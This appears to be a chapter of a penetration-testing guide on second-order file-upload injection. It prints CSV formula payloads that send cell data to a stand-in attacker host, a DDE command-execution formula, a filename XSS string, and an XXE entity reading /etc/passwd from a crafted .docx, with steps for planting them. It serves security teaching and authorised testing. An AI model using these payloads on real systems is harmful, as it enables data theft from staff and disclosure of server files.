Chapter 5
Second-order file injection
CSV formulas, metadata XSS, SQL injection, and Office XML entities.
Second-order bugs are the ones that sit quietly in storage until someone else opens them. Nothing fires during the upload itself, which is why most reviewers wave them straight through. The trigger happens hours or days later inside an admin dashboard, a batch export, or a desktop app.
Formula injection in spreadsheet exports
Section titled “Formula injection in spreadsheet exports”Finance and support teams love exporting user tables to CSV or Excel. If the app exports your profile fields unescaped, Excel or Calc runs leading formula characters as code when staff open the sheet.
=HYPERLINK("https://attacker.example/?token="&A1, "Click Here")=WEBSERVICE("https://attacker.example/collect?data="&A2)=cmd|'/C calc'!A1- Insert a formula payload into your account profile name or billing address field.
- Wait for an administrative export routine to generate a monthly CSV report.
- When the administrator opens the spreadsheet, the spreadsheet engine executes web calls or system commands.
The HYPERLINK and WEBSERVICE formulas exfiltrate sensitive neighboring cell values to external servers.
The dynamic data exchange prefix executes local binaries if the user accepts security prompts.
Stored metadata injection
Section titled “Stored metadata injection”Applications often extract and display metadata from uploaded images and documents. If the application fails to encode this metadata before rendering, injection occurs.
- Filename cross-site scripting: A file named
"><svg onload=alert(1)>.jpgtriggers scripts in administrative logs. - Metadata cross-site scripting: EXIF tags such as
Artist,Copyright, orUserCommentexecute scripts in gallery views. - Second-order SQL injection: File names inserted into database queries without parameterization trigger SQL injection.
- PDF generation flaws: File names embedded into automated PDF reports exploit server-side LaTeX or PDF-JS engines.
Office XML external entity injection
Section titled “Office XML external entity injection”Modern Microsoft Office documents with extensions .docx, .xlsx, and .pptx are zip archives containing XML files.
If a server inspects or converts uploaded Office documents, it parses these internal XML documents.
unzip report.docx -d extracted_docEdit the internal word/document.xml file to add a document type definition with an external entity reference.
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"> <w:body> <w:p> <w:r> <w:t>&xxe;</w:t> </w:r> </w:p> </w:body></w:document>Recompress the directory into a zip archive and rename the extension to .docx.
When the server converts the document or creates a text summary, it reads the local system file.
Office macros and object embedding
Section titled “Office macros and object embedding”In enterprise software assessments, test document uploads that reach other human employees. Attackers upload documents containing embedded macros or Object Linking and Embedding relationships. When internal staff members review applicant resumes or vendor invoices, user prompt fatigue often leads to execution.
Next, Chapter 6 covers the storage and serving flaws that decide who can reach these files.
Open local graph around this page
Linked from here
Links out to
No outgoing internal links on this page.
File UploadFor authorized testing only.